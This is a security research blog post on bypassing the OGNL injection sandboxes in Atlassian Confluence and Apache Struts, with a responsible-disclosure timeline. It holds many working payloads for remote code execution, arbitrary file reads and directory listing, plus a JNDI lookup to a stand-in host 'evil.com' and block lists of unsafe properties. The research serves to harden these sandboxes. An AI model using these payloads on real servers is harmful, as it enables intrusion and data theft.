Skip to content

Bypassing OGNL sandboxes for fun and charities

Object Graph Notation Language (OGNL) is a popular, Java-based, expression language used in popular frameworks and applications, such as Apache Struts and Atlassian Confluence. Learn more about bypassing certain OGNL injection protection mechanisms including those used by Struts and Atlassian Confluence, as well as different approaches to analyzing this form of protection so you can harden similar systems.

Bypassing OGNL sandboxes for fun and charities
Author

Overview

Object Graph Notation Language (OGNL) is a popular, Java-based, expression language used in popular frameworks and applications, such as Apache Struts and Atlassian Confluence. In the past, OGNL injections led to some serious remote code execution (RCE) vulnerabilities, such as the Equifax breach, and over the years, protection mechanisms and mitigations against OGNL injections have been developed and improved to limit the impact of these vulnerabilities.

In this blog post, I will describe how I was able to bypass certain OGNL injection protection mechanisms, including the one used by Struts and the one used by Atlassian Confluence. The purpose of this blog post is to share different approaches used when analyzing this kind of protection so they can be used to harden similar systems.

No new OGNL injections are being reported as part of this research, and unless future OGNL injections are found on the affected frameworks/applications, or known double evaluations affect an existing Struts application, this research does not constitute any immediate risk for Apache Struts or Atlassian Confluence.

Hello OGNL, my old friend

I have a past history of bugs found in Struts framework, including CVE-2016-3087, CVE-2016-4436, CVE-2017-5638, CVE-2018-1327, CVE-2020-17530 and even some double OGNL injections through both Velocity and FreeMarker tags that remain unfixed to this date. Therefore, I have become familiar with the OGNL sandbox and different escapes over the years and I am still interested in any OGNL-related vulnerabilities that may appear. That was the case with Atlassian Confluence, CVE-2021-26084 and CVE-2022-26134, where the former is an instance of the unresolved double evaluation via Velocity tags mentioned in my 2020 advisory.

My friend, Man Yue Mo, wrote a great article describing how the OGNL mitigations have been evolving over the years and there are few other posts that also describe in detail how these mitigations have been improving.

In 2020, disabling the sandbox became harder, so I decided to change the approach completely. I introduced new ways to get RCE by circumventing the sandbox, and using the application server’s Instance Manager to instantiate arbitrary objects that I could use to achieve RCE. This research was presented at our Black Hat 2020 talk, Scribbling outside of template security. We reported this issue to the Apache Struts team, and they fixed the issue by using a block list. However, in 2021, Chris McCown published a new bypass technique which leverages the OGNL’s AST maps and the Apache Commons Collections BeanMap class.

That was it–at that point I had enough of OGNL and stopped looking into it until two events happened in the same week:

  • My friend, Mert, found what he thought was an SSTI in a bug bounty program. It turned out to be an OGNL injection, so he asked me to help him with the exploitation of the issue.
  • I read several tweets claiming that CVE-2022-26134 was not vulnerable to RCE on the latest Confluence version (7.18.0 at that time).

Okay, OGNL, my old friend. Here we go again.

Looking at Confluence isSafeExpression protection

When the CVE-2022-26134 was released there was an initial understanding that the OGNL injection could not lead to direct RCE in the latest version 7.18.0 since the isSafeExpression method was not possible to bypass for that version

Screenshot of a tweet from user @httpvoid0x2f on June 4, 2022 that reads, "As you might have noticed most recent version instances won't give you a code execution. This is due to isSafeExpression() protections and the fact only ${} notation is being evaluated and there's no straight forward way to confirm this due to injection being blind."

Harsh Jaiswal (@rootxharsh) and Rahul Maini (@iamnoooob) took a different approach and looked for a gadget chain in the allowed classes list that could allow them to create an admin account.

The picture shows a road with two ways: bypassing the isSafeExpression method or finding a gadget in the allowed list. The car chooses the latter.

Soon after, @MCKSysAr found a nice and simple bypass:

  1. Use Class property instead of class one.
  2. Use string concatenation to bypass string checks.

Payload used by MCKSysAr to bypass Confluence sandbox

MCKSysAr’s bypass was soon addressed by blocking the access to the Class and ClassLoader properties. I had some other ideas, so I decided to take a look at the isSafeExpression implementation.

The first interesting thing I learned was that this method was actually parsing the OGNL expression into its AST form in order to analyze what it does and decide whether it should be allowed to be executed or not. Bye-bye to regexp-based bypasses.

Then the main logic to inspect the parsed tree was the following:

  • Starting at the root node of the AST tree, recursively call containsUnsafeExpression() on each node of the tree.
  • If the node is an instance of ASTStaticField, ASTCtor or ASTAssign then the expression is deemed to be unsafe. This will prevent payloads using the following vectors:
    • Static field accesses
    • Constructors calls
    • Variable assignments
  • If the node is an ASTStaticMethod check that the class the method belongs to is in an allow list containing:
    • net.sf.hibernate.proxy.HibernateProxy
    • java.lang.reflect.Proxy
    • net.java.ao.EntityProxyAccessor
    • net.java.ao.RawEntity
    • net.sf.cglib.proxy.Factory
    • java.io.ObjectInputValidation
    • net.java.ao.Entity
    • com.atlassian.confluence.util.GeneralUtil
    • java.io.Serializable
  • If node is an ASTProperty checks block list containing (after the initial fix):
    • class
    • Class
    • classLoader
    • ClassLoader
  • If the property looks like a class name, check if the class’s namespace is defined in the unsafePackageNames block list (too long to list here).
  • If node is an ASTMethod, check if we are calling getClass or getClassLoader.
  • If node is an ASTVarRef, check if the variable name is in UNSAFE_VARIABLE_NAMES block list:
    • #application
    • #parameters
    • #request
    • #session
    • #_memberAccess
    • #context
    • #attr
  • If node in an ASTConst (eg: a string literal), call isSafeExpressionInternal which will check the string against a block list (for example, harmful class names) and, in addition, it will parse the string literal as an OGNL expression and apply the containsUnsafeExpression() recursive checks on it.
  • If a node has children, repeat the process for the children.

This is a pretty comprehensive control since it parses the AST recursively and makes sure that any AST nodes considered harmful are either rejected or inspected further.

MCKSysAr bypass was based on two things: A) Class and ClassLoader properties were not accounted for when inspecting ASTProperty nodes; and B) ”java.lang.” + “Runtime” was parsed as an ASTAdd node with two ASTConst children. None of them matched any of the known harmful strings and when parsed as an OGNL expression, none of them were valid expressions so they were not parsed further. A) Was fixed quickly by disallowing access to Class and ClassLoader properties, but B) was not fixed since it was considered as a security in-depth control (it’s impossible to analyze all variants in which a malicious string could be written).

With that in mind I took a look at the list of the OGNL AST nodes to see if there was anything interesting that was not accounted for in the isSafeExpression() method.

Enter ASTEval

The first one that got my attention was ASTEval. It looked very interesting and it was not accounted for by the containsUnsafeExpression() method.

ASTEval are nodes in the form of (expr)(root) and they will parse the expr string into a new AST and evaluate it with root as its root node. This will allow us to provide an OGNL expression in the form of a string (ASTConst) and evaluate it! We know that ASTConst nodes are parsed as OGNL expressions and verified to not be harmful. However, we already saw that if we split the string literal in multiple parts, only the individual parts will be checked and not the result of the concatenation. For example, for the payload below #application will never get checked, only # and application which are deemed to be safe:


An AST tree of the expression showing all the AST nodes the expression is parsed into.

As you can see in the resulting tree, there are no hints of any ASTVarRef node and therefore access to #application is granted.

Weaponizing ASTEval

There are multiple ways to craft a payload levering this vector. For example, we could get arbitrary RCE with echoed response:

('(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@get'+'Runtime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))')('')

The screenshot shows a response from the Confluence server including an `X-Cmd-Response` which shows the output of the `id` command.

Enter ASTMap, ASTChain and ASTSequence

I was already familiar with ASTMaps from reading Mc0wn’s great article. In a nutshell, OGNL allows developers to instantiate any java.util.Map implementation by using the @<class_name>@{} syntax.

Using this technique, we were able to use a BeanMap (a map wrapping a Java bean and exposing its getters and setters as map entries) to bypass the getClass limitation by rewriting the payload as:


BeanMap map = @org.apache.commons.beanutils.BeanMap@{}; map.setBean(“”) map.get(“class”).forName(”javax.script.ScriptEngineManager”).newInstance().getEngineByName(“js”).eval(payload)

This payload avoids calling the BeanMap constructor explicitly and, therefore, gets rid of the ASTCtor limitation. In addition, it allows us to call Object.getClass() implicitly by accessing the class item. However, we still have another problem: we need to be able to assign the map to a variable (map) so we can call the setBean() method on it and later call the get() method on the same map. Since ASTAssign was blocked, assignments were not an option. Fortunately, looking through the list of AST nodes, two more nodes got my attention: ASTChain and ASTSequence.

  • ASTChain allows us to pass the result of one evaluation as the root node of the next evaluation. For example: (one).(two) will evaluate one and use its result as the root for the evaluation of two.
  • ASTSequence allows us to run several evaluations on the same root object in sequence. For example: one, two will evaluate one and then two using the same root node.

The idea was to bypass ASTAssign constraint by combining ASTChain and ASTSequence together

We can set the map returned by the ASTMap expression as the root for a sequence of expressions so all of them will have the map as its root object:


(#@BeanMap@{}).(expression1, expression2)

In our case, expression1 is the call to setBean() and expression2 is the call to get().

Taking that into account and splitting literal strings into multiple parts to bypass the block list we got the following payload:


(#@org.apache.commons.beanutils.BeanMap@{}).(setBean(''),get('cla'+'ss').forName('javax'+'.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('7*7'))

The final AST tree bypassing all isSafeExpression checks is:


An AST tree of the payload showing all the AST nodes the expression is parsed into.

There was a final problem to solve. The OGNL injection sink was translateVariable() which resolves OGNL expressions wrapped in ${expressions} delimiters. Therefore, our payload was not allowed to contain any curly brackets. Fortunately, for us, OGNL will replace unicode escapes for us so we were able to use the final payload:


(#@org.apache.commons.beanutils.BeanMap@\\u007b\\u007d).(setBean(''),get('cla'+'ss').forName('javax'+'.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('7*7'))

I submitted these bypasses to Atlassian through its bug bounty program and, even though I was not reporting any new OGNL injections but a bypass of its sandbox, they were kind enough to award me with a $3,600 bounty!

Looking into Struts2

As mentioned before, a friend found what he thought was a Server-Side Template Injection (SSTI) (%{7*7} => 49) but it turned out to be an OGNL injection. Since this happened as part of a bug bounty program, I didn’t have access to the source code. I can’t be sure if the developers were passing untrusted data to an OGNL sink (for example, ActionSupport.getText()), or if it was some of the unfixed double evaluations issues (still working at the time of writing). Anyhow, the application seemed to be using the latest Struts version and known payloads were not working. I decided to take a deeper look.

New gadgets on the block

When I listed what objects were available I was surprised to find that many of the usual objects in the Struts OGNL context, such as the value stack, were not there, and some others I haven’t seen before were available. One of such objects was #request[‘.freemarker.TemplateModel’]. This object turned out to be an instance of org.apache.struts2.views.freemarker.ScopesHashModel containing a variety of new objects. One of them (stored under the ognl key) gave me access to an org.apache.struts2.views.jsp.ui.OgnlTool instance. Looking at the code for this class I quickly spotted that it was calling Ognl.getValue(). This class is not part of Struts, but the OGNL library and, therefore, the Struts sandbox (member access policy) was not enabled! In order to exploit it I used the following payload:


#request[‘.freemarker.TemplateModel’].get(‘ognl’).getWrappedObject().findValue(‘(new freemarker.template.utility.Execute()).exec({“whoami”})’, {})

That was enough to get the issue accepted as a remote code execution in the bounty program. However, despite having achieved RCE, there were a few unsolved questions:

  • Why was this .freemarker.TemplateModel object available?
  • Are there any other ways to get RCE on the latest Struts versions?

Post-invocations Context

Attackers are limited to the objects they are able to access. Normally, OGNL injections take place before the action invocation completes and the action’s Result is rendered.

Diagram of Struts request handling. It shows how an action is invoked and the different components involved.
https://struts.apache.org/core-developers/attachments/Struts2-Architecture.png

When grepping the Struts’s source code for .freemarker.TemplateModel, I found out that there are plenty of new objects added to the request scope when preparing the action’s Result in order to share them with the view layer (JSP, FreeMarker or Velocity) and .freemarker.TemplateModel was one of them. However, those objects are only added after the ActionInvocation has been invoked. This implies that if I find .freemarker.TemplateModel on the request scope, my injection was evaluated after the action invocation finished building the action’s Result object and, therefore, my injection probably did not take place as part of the Struts code but as a double evaluation in the FreeMarker template.

These new objects will offer new ways to get remote code execution, but only if you are lucky to get your injection evaluated after the action’s Result has been built. Or not? 🤔

It turned out that the ongoing ActionInvocation object can be accessed through the OGNL context and, therefore, we can use it to force the building of the Result object in advance. Calling the Results doExecute() method will trigger the population of the so-called template model. For example, for Freemarker, ActionInvocation.createResult() will create a FreemarkerResult instance. Calling its doExecute() method will, in turn, call its createModel() method that will populate the template model.


(#ai=#attr['com.opensymphony.xwork2.ActionContext.actionInvocation'])+ (#ai.setResultCode("success"))+ (#r=#ai.createResult())+ (#r.doExecute("pages/test.ftl",#ai))

Executing the above payload will populate the request context with new objects. However, that requires us to know the result code and the template’s path. Fortunately, we can also invoke the ActionInvocation.invoke() method that will take care of everything for us!


#attr['com.opensymphony.xwork2.ActionContext.actionInvocation'].invoke()

The line above will result in the template model being populated and stored in the request, and context scopes regardless of where your injection takes place.

Wild objects appeared

After the invocation, the request scope and value stack will be populated with additional objects. These objects vary depending on the view layer used. What follows is a list of the most interesting ones (skipping most of them which do not lead to RCE):

For Freemarker:

  • .freemarker.Request (freemarker.ext.servlet.HttpRequestHashModel)
  • .freemarker.TemplateModel (org.apache.struts2.views.freemarker.ScopesHashModel)
    • __FreeMarkerServlet.Application__ (freemarker.ext.servlet.ServletContextHashModel)
    • JspTaglibs (freemarker.ext.jsp.TaglibFactory)
    • .freemarker.RequestParameters (freemarker.ext.servlet.HttpRequestParametersHashModel)
    • .freemarker.Request (freemarker.ext.servlet.HttpRequestHashModel)
    • .freemarker.Application (freemarker.ext.servlet.ServletContextHashModel)
    • .freemarker.JspTaglibs (freemarker.ext.jsp.TaglibFactory)
    • ognl (org.apache.struts2.views.jsp.ui.OgnlTool)
    • stack (com.opensymphony.xwork2.ognl.OgnlValueStack)
    • struts (org.apache.struts2.util.StrutsUtil)

For JSPs:

  • com.opensymphony.xwork2.dispatcher.PageContext (PageContextImpl)

For Velocity:

  • .KEY_velocity.struts2.context -> (StrutsVelocityContext)
    • ognl (org.apache.struts2.views.jsp.ui.OgnlTool)
    • struts (org.apache.struts2.views.velocity.result.VelocityStrutsUtils)

Getting RCE with new objects

And now let’s have some fun with these new objects! In the following section I will explain how I was able to leverage some of these objects to get remote code execution.

ObjectWrapper

There may be different ways to get an instance of a FreeMarker’s ObjectWrapper, even if the application is not using FreeMarker as its view layer because Struts uses it internally for rendering JSP tags. A few of them are listed below:

  • Through freemarker.ext.jsp.TaglibFactory.getObjectWrapper(). Even though Struts’ sandbox forbids access to freemarker.ext.jsp package, we can still access it using a BeanMap:

(#a=#@org.apache.commons.collections.BeanMap@{ })+ (#a.setBean(#application[".freemarker.JspTaglibs"]))+ (#a['objectWrapper'])
  • Through freemarker.ext.servlet.HttpRequestHashModel.getObjectWrapper():

(#request.get('.freemarker.Request').objectWrapper)
  • Through freemarker.core.Configurable.getObjectWrapper(). We need to use the BeanMap trick to access it since freemarker.core is also blocklisted:

(#a=#@org.apache.commons.collections.BeanMap@{ })+ (#a.setBean(#application['freemarker.Configuration']))+ #a['objectWrapper']

Now for the fun part, what can we do with an ObjectWrapper? There are three interesting methods we can leverage to get RCE:

newInstance(class, args)

This method will allow us to instantiate an arbitrary type. Arguments must be wrapped, but the return value is not. For example, we can trigger a JNDI injection lookup:


objectWrapper.newInstance(@javax.naming.InitialContext@class,null).lookup("ldap://evil.com")

Or, if Spring libs are available, we can get RCE by supplying a malicious XML config for FileSystemXmlApplicationContext constructor:


objectWrapper.newInstance(@org.springframework.context.support.FileSystemXmlApplicationContext@class,{#request.get('.freemarker.Request').objectWrapper.wrap("URL")})

getStaticModels()

This method allows us to get static fields from arbitrary types. The return object is wrapped in a FreeMarker’s TemplateModel so we need to unwrap it. An example payload levering Text4Shell:


objectWrapper.staticModels.get("org.apache.commons.text.lookup.StringLookupFactory").get("INSTANCE").getWrappedObject().scriptStringLookup().lookup("javascript:3+4")

wrapAsAPI()

This method allows us to wrap any object with a freemarker.ext.beans.BeanModel giving us indirect access to its getters and setters methods. Struts’ sandbox will not have visibility on these calls and therefore they can be used to call any blocklisted method.

  • BeanModel.get('field_name') returns a TemplateModel wrapping the object.
  • BeanModel.get('method_name') returns either a SimpleMethodModel or OverloadedMethodsModel wrapping the method.

We can, therefore, call any blocklisted method with:


objectWrapper.wrapAsAPI(blocked_object).get(blocked_method)

This call will return an instance of TemplateMethodModelEx. Its exec() method is defined in the freemarker.template namespace and, therefore, trying to invoke this method will get blocked by the Struts sandbox. However, TemplateMethodModelEx is an interface and what we will really get is an instance of either freemarker.ext.beans.SimpleMethodModel or freemarker.ext.beans.OverloadedMethodsModel. Since the exec() methods on both of them are defined on the freemarker.ext.beans namespace, which is not blocklisted, their invocation will succeed. As we saw before, arguments need to be wrapped. As an example we can call the File.createTempFile(“PREFIX”, “SUFFIX”) using the following payload:


objectWrapper.getStaticModels().get("java.io.File").get("createTempFile").exec({objectWrapper.wrap("PREFIX"), objectWrapper.wrap("SUFFIX")})

We can achieve the same by calling the getAPI() on any freemarker.template.TemplateModelWithAPISupport instance. Many of the FreeMarker exposed objects inherit from this interface and will allow us to wrap them with a BeanModel. For example, to list all the keys in the Struts Value Stack we can use:


#request['.freemarker.TemplateModel'].get('stack').getAPI().get("context").getAPI().get("keySet").exec({})

Note that com.opensymphony.xwork2.util.OgnlContext.keySet() would be blocked since it belongs to the com.opensymphony.xwork2.util namespace, but in this case, Struts’ sandbox will only see calls to TemplateHashModel.get() and TemplateModelWithAPISupport.getAPI() which are both allowed.

The last payload will give us a complete list of all available objects in the Value Stack, many of which could be used for further attacks. Lets see a more interesting example by reading an arbitrary file using BeanModels:


(#bw=#request.get('.freemarker.Request').objectWrapper).toString().substring(0,0)+ (#f=#bw.newInstance(@java.io.File@class,{#bw.wrap("C:\\REDACTED\\WEB-INF\\web.xml")}))+ (#p=#bw.wrapAsAPI(#f).get("toPath").exec({}))+ (#ba=#bw.getStaticModels().get("java.nio.file.Files").get("readAllBytes").exec({#bw.wrap(#p)}))+ "----"+ (#b64=#bw.getStaticModels().get("java.util.Base64").get("getEncoder").exec({}).getAPI().get("encodeToString").exec({#bw.wrap(#ba)}))

Or listing the contents of a directory:


(#bw=#request.get('.freemarker.Request').objectWrapper).toString().substring(0,0)+ (#dir=#bw.newInstance(@java.io.File@class,{#bw.wrap("C:\\REDACTED\\WEB-INF\\lib")}))+ (#l=#bw.wrapAsAPI(#dir).get("listFiles").exec({}).getWrappedObject())+"---"+ (#l.{#this})

OgnlTool/OgnlUtil

The org.apache.struts2.views.jsp.ui.OgnlTool class was calling Ognl.getValue() with no OgnlContext and even though the Ognl library will take care of creating a default one, it will not include all the additional security checks added by the Struts framework and is easily bypassable:


package org.apache.struts2.views.jsp.ui; import ognl.Ognl; import ognl.OgnlException; import com.opensymphony.xwork2.inject.Inject; public class OgnlTool { private OgnlUtil ognlUtil; public OgnlTool() { } @Inject public void setOgnlUtil(OgnlUtil ognlUtil) { this.ognlUtil = ognlUtil; } public Object findValue(String expr, Object context) { try { return Ognl.getValue(ognlUtil.compile(expr), context); } catch (OgnlException e) { return null; } } }

We can get an instance of OgnlTool from both FreeMarker and Velocity post-invocation contexts:


#request['.freemarker.TemplateModel'].get('ognl')

Or


#request['.KEY_velocity.struts2.context'].internalGet('ognl')

For FreeMarker’s case, it will come up wrapped with a Template model but we can just unwrap it and use it to get RCE:


(#a=#request.get('.freemarker.Request').objectWrapper.unwrap(#request['.freemarker.TemplateModel'].get('ognl'),'org.apache.struts2.views.jsp.ui.OgnlTool'))+ (#a.findValue('(new freemarker.template.utility.Execute()).exec({"whoami"})',null))

Or, even simpler:


#request['.freemarker.TemplateModel'].get('ognl').getWrappedObject().findValue('(new freemarker.template.utility.Execute()).exec({"whoami"})',{})

OgnlTool was inadvertently fixed when Struts 6.0.0 was released by upgrading to OGNL 3.2.2 which always requires a MemberAccess. But the latest Struts 2 version (2.5.30) is still vulnerable to this payload.

StrutsUtil

Another object that can be accessed in the post-invocation context is an instance of org.apache.struts2.util.StrutsUtil. There are plenty of interesting methods in here:

  • public String include(Object aName) can be used to read arbitrary resources
    • <struts_utils>.include("/WEB-INF/web.xml")
  • public Object bean(Object aName) can be used to instantiate arbitrary types:
    • <struts_utils>.bean("javax.script.ScriptEngineManager")
  • public List makeSelectList(String selectedList, String list, String listKey, String listValue)
    • listKey and listValue are evaluated with OgnlTool and therefore in an unsandboxed context
    • <struts_utils>.makeSelectList("#this","{'foo'}","(new freemarker.template.utility.Execute()).exec({'touch /tmp/bbbb'})","")

On applications using Velocity as its view layer, this object will be an instance of VelocityStrutsUtil which extends StrutsUtils and provides an additional vector:

  • public String evaluate(String expression) will allow us to evaluate a string containing a velocity template:

(<struts_utils>.evaluate("#set ($cmd='java.lang.Runtime.getRuntime().exec(\"touch /tmp/pwned_velocity\")') $application['org.apache.tomcat.InstanceManager'].newInstance('javax.script.ScriptEngineManager').getEngineByName('js').eval($cmd)"))

JspApplicationContextImpl

The last vector that I wanted to share is one that I found a few years ago and that I was not able to exploit–although I was pretty sure that there had to be a way. New post-invocation discovered objects finally made this possible!

If you have inspected the Struts Servlet context (#application) in the past you probably saw an item with key org.apache.jasper.runtime.JspApplicationContextImpl which returned an instance of org.apache.jasper.runtime.JspApplicationContextImpl. This class contains a method called getExpressionFactory() that returns an Expression Factory that will expose a createValueExpression() method. This looks like a perfect place to create an EL expression and evaluate it. The problem was that createValueExpression requires an instance of ELContext and we had none.

Fortunately, our post-invocation technique brought a new object into play. When using JSPs as the view layer, #request['com.opensymphony.xwork2.dispatcher.PageContext'] will return an uninitialized org.apache.jasper.runtime.PageContextImpl instance that we can use to create an ELContext and evaluate arbitrary EL expressions:


(#attr['com.opensymphony.xwork2.ActionContext.actionInvocation'].invoke())+ (#ctx=#request['com.opensymphony.xwork2.dispatcher.PageContext'])+ (#jsp=#application['org.apache.jasper.runtime.JspApplicationContextImpl'])+ (#elctx=#jsp.createELContext(#ctx))+ (#jsp.getExpressionFactory().createValueExpression(#elctx, '7*7', @java.lang.Class@class).getValue(#elctx))

The avid readers may be wondering why Struts stores the PageContext in the request. Well, turns out, it does not, but we can access it through chained contexts.

When accessing #attr (AttributeMap), we can indirectly look into multiple scopes such as the Page, Request, Session and Application (Servlet). But there is more, org.apache.struts2.dispatcher.StrutsRequestWrapper.getAttribute() will look for the attribute in the ServletRequest, if it can’t find it there, it will search the value stack! So, we can effectively access the value stack through the #request or #attr variables.

In this case, the PageContext was not stored in the request scope, but in the Value stack, and we are able to access it through chained context searches.

We can even run arbitrary OGNL expressions as long as they don’t contain any hashes (#), for example, #request["@java.util.HashMap@class"] will return the HashMap class.

Leveling up the BeanMap payload

You may already be familiar with McOwn’s technique. He realized that it was possible to use OGNL Map notation to instantiate an org.apache.commons.collections.BeanMap by using the #@org.apache.commons.collections.BeanMap@{ } syntax, and then it was possible to wrap any Java object on this map and access any getters and setters as map properties. His payload was based on the org.apache.tomcat.InstanceManager payload we introduced at Black Hat 2020 and looked like:


(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) + (#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) + (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))

The payload was basically disabling the OGNL sandbox and then accessing otherwise blocked classes such as InstanceManager. There is a simpler way to abuse BeanMaps that do not require to disable the sandbox and that is using reflection:


(#c=#@org.apache.commons.beanutils.BeanMap@{})+ (#c.setBean(@Runtime@class))+ (#rt=#c['methods'][6].invoke())+ (#c['methods'][12]).invoke(#rt,'touch /tmp/pwned')

This payload also works in Struts 6 if the BeanClass is available in the classpath (either from Apache Commons Collections or Apache Commons BeanUtils), but you need to specify the FQN (Fully Qualified Name) name for Runtime: @java.lang.Runtime@class.

Timeline

These bypasses were first reported to the Struts and OGNL security teams on June 9, 2022.

On October 7, 2022, the security team replied to us and stated that improving the block lists was not a sustainable solution, and, therefore, they decided to stop doing it. They highlighted that a Java Security Manager can be configured to protect every OGNL evaluation from these attacks and we highly recommend doing so if you are running a Struts application. However, bear in mind that the Security Manager is deprecated and will soon get removed from the JDK.

That’s a wrap

At this point, you will have probably realized that sandboxing an expression language, such as OGNL, is a really difficult task, and may require maintaining a list of blocked classes and OGNL features even though that is not an optimal approach. In this blog post, we have reviewed a few ways in which these sandboxes can be bypassed. Although they are specific to OGNL, hopefully you have learned to explore sandbox controls–and one or two new tricks–that may apply to other sandboxes. In total, we were able to raise $5,600, which we donated to UNHCR to help provide refuge for Ukrainians seeking protection from the war.

Explore more from GitHub

Security

Security

Secure platform, secure data. Everything you need to make security your #1.
The ReadME Project

The ReadME Project

Stories and voices from the developer community.
GitHub Copilot

GitHub Copilot

Don't fly solo. Try 30 days for free.
Work at GitHub!

Work at GitHub!

Check out our current job openings.